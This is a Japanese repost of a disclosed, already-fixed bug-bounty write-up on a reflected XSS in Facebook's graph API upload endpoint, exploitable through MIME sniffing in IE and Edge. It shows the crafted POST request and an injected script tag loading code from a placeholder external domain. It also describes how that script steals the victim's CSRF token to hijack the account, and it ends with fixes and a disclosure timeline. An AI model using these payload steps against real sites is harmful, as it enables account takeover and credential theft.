ホームページ > 運用・保守 > 安全性 > 反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックする

反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックする

王林
リリース: 2019-12-28 17:59:36
転載
3049 人が閲覧しました

反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックする

脆弱性の状況

この脆弱性は IE および Edge ブラウザーでのみ有効であり、脆弱性の原因は graph.facebook です。 com の一部の API エンドポイントは、HTML コード応答を処理するときに完全かつ安全なエスケープ手段を実装していません。応答メッセージは JSON 形式であり、HTML コードはいずれかのフィールドの値として含まれており、応答メッセージには Content-Type または X-Content-Type-Options ヘッダーが付属していないため、 IE/Edgeを使用 構築コードが実行されます。

(これら 2 種類のブラウザはページ全体をスキャンして MIME ファイルの種類を決定しますが、他のブラウザは最初の数文字のみをチェックします)。

脆弱性の再発

1. まず、次のアップロード メソッドで POST リクエストを送信します:

POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
ログイン後にコピー

ACCESS_TOKEN はAndroid 用 Facebook のファーストパーティ アプリケーションによって生成された有効なユーザー アクセス トークン、PAYLOAD は、被害者をブラウザーで実行するように誘導するために挿入する HTML コードです。リクエストが送信されると、リモート サーバーは次のような値を返します。これには、後で使用されるセッション ID が含まれています (詳細については Facebook の公式手順を参照してください):

{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
ログイン後にコピー

テスト後、応答メッセージにコンテンツ セキュリティ ポリシー (CSP) の制限がないことが判明したため、外部リンクを含む js ファイルを使用して HTML コードを挿入できないか考えました (例:

<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
ログイン後にコピー

2)。ここでのアップロード リクエストは、Facebook バックエンドの Base64 エンコード処理によって行われ、返される表示は次のようになります。これには、特別に埋め込んだペイロードが含まれています:

upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48
Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
ログイン後にコピー

したがって、このエンコード文字列を使用した後、次のリクエストが発生します。 Facebook への POST リクエストを開始するために使用できます:

https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 
0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s
ig=ARaCDqLfwoeI8V3s
ログイン後にコピー

3. したがって、上記のリクエスト文字列を使用して、手順 1 で生成した有効な access_token を追加し、HTML Web ページを構築して、それを自分のウェブサイト:

反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックする

このページには送信スタイルが含まれており、被害者がアクセスした後の応答メッセージは次のとおりです:

{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb
AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
ログイン後にコピー

重要なことに、https ://DOMAIN.com/script.js のスクリプト ファイルは、被害者の「fb_dtsg」CSRF トークンを盗み、それを https://www.facebook.com/api/graphql/ に送信するのに役立ちます。 携帯電話番号または電子メール アドレスを使用してリクエストをバインドし、間接的な被害者のアカウント ハイジャックを実現します。

脆弱性の修復

1、在file_type参数中加入对HTML代码处理的安全转义措施;
2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。
漏洞上报及处理进程
2019.10.10   漏洞初报
2019.10.10   Facebook确认
2019.10.11    Facebook修复
2019.10.24   Facebook奖励5000$
ログイン後にコピー

おすすめの関連記事とチュートリアル: Web サイトのセキュリティ チュートリアル

以上が反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックするの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ソース:freebuf.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート